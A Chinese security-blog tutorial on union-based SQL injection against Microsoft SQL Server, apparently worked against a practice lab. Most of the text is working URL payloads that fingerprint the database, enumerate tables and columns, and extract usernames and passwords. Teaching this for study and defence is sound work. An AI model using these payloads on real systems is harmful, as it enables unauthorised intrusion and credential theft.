本公众号提供的资料和信息仅供学习交流,不得用于非法用途;
对于因使用本公众号内容而产生的任何直接或间接损失,本公众号不承担任何责任;
本公众号尊重他人的知识产权,如有侵犯您的合法权益,请及时联系我们,我们将尽快处理。
一、基本判断数据库类型
-
Mssql数据库默认的表判断是否为Mssql
sysobjects
是Mssql数据库中默认的一个数据表 -
如果页面返回正常说明该网站使用的是Mssql
?id=1' andexists(select * from sysobjects) --+
-
通过Mssql数据库中特有的延时函数进行判断
?id=1';WAITFOR DELAY '00:00:10'; --+
二、判断字段数
order by 3
返回正常, order by 4
返回异常说明字段长度是3
?id=1' order by 3--+?id=1' order by 4--+
三、判断回显位
-
通过页面的反馈,发现回显位是2和3这两个位置
?id=-2' union select 1,2,3--+
四、查询相关信息
查询当前数据库版本
?id=-2' union select 1,@@version,3--+
查询数据库名
?id=-2' union select 1,db_name(),3--+
查询用户名信息
//当前会话中执行查询的用户名
?id=-2' union select 1,user,3--+
//当前会话中,当前执行环境下的用户名
?id=-2' union select 1,current_user,3--+
//当前登录到数据库的用户的登录名
?id=-2' union select 1,system_user,3--+
查询表名
//查询当前数据库中所有表名,并提取第1条记录
?id=-2' union select 1,(select top 1 name from sysobjects where xtype='U'),3--+
/*
通过sysobjects系统表筛选出用户表,并使用top 1提取第1条记录
sysobjects是SQL Server中的一个系统表,用于存储当前数据库中所有对象的元数据
'U':所有用户表名
'S':所有系统表名
'V':所有视图表名
*/
//查询当前数据库中所有表名,并提取第2条记录
?id=-2' union select 1,(select top 1 name from sysobjects where xtype='U' and name !='emails'),3--+
//通过name !=来排除已经查出的表名,查询下一个表
//查询当前数据库中所有表名,并提取第3条记录
?id=-2' union select 1,(select top 1 name from sysobjects where xtype='U' and name !='emails' and name !='uagents'),3--+
//查询当前数据库中所有表名,并提取第4条记录
?id=-2' union select 1,(select top 1 name from sysobjects where xtype='U' and name !='emails' and name !='uagents' and name !='referers'),3--+
查询列名(字段名)
//从uers表中提取第一列的名称
?id=-2' union select 1,(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users')),3--+
/*
外部查询:select top 1 name from syscolumns
从系统表syscolumns中提取列名,并只返回第一条记录
top 1表示只返回结果集中的第一个记录
子查询:select id from sysobjects where name = 'users'
从系统表sysobjects中查找users表的对象ID。
id用于在sysobjects表中标识数据库对象(唯一值)
条件:where id = (...)
将syscolumns表中的id字段与子查询返回的对象ID进行匹配,从而筛选出属于users表的所有列
sysobjects:SQL Server中的一个系统表,存储了当前数据库中所有对象(如表、视图、存储过程等)的元数据。
在这里,sysobjects的作用是通过表名users获取其对象ID
syscolumns:也是SQL Server中的一个系统表,存储了数据库中所有表和视图的列信息
它的关键字段包括:
id:表示所属对象的 ID(与 sysobjects 表中的 id 对应)
name:列的名称。
colid:列的顺序编号(从 1 开始)。
在这里,syscolumns的作用是根据表users的对象ID提取其所有列的名称
*/
?id=-2' union select 1,(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users')and name !='id'),3--+
//通过name !=来排除已经查出的字段名,查询下一个字段
?id=-2' union select 1,(select top 1 name from syscolumns where id=(select id from sysobjects where name = 'users')and name !='id' and name !='username'),3--+
查询表中的数据
//查询username和password这两列的第一段数据
?id=-2' union select 1,(select top 1 username from users),(select top 1 password from users)--+
?id=-2' union select 1,(select top 1 username from users where username !='Dumb'),(select top 1 password from users where password !='Dumb')--+
//通过name !=来排除已经查出的数据,查询下一段数据
?id=-2' union select 1,(select top 1 username from users where username !='Dumb' and username !='Angelina'),(select top 1 password from users where password !='Dumb' and password !='I-kill-you ')--+
原文始发于微信公众号(SecurePulse):Mssql-联合注入
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论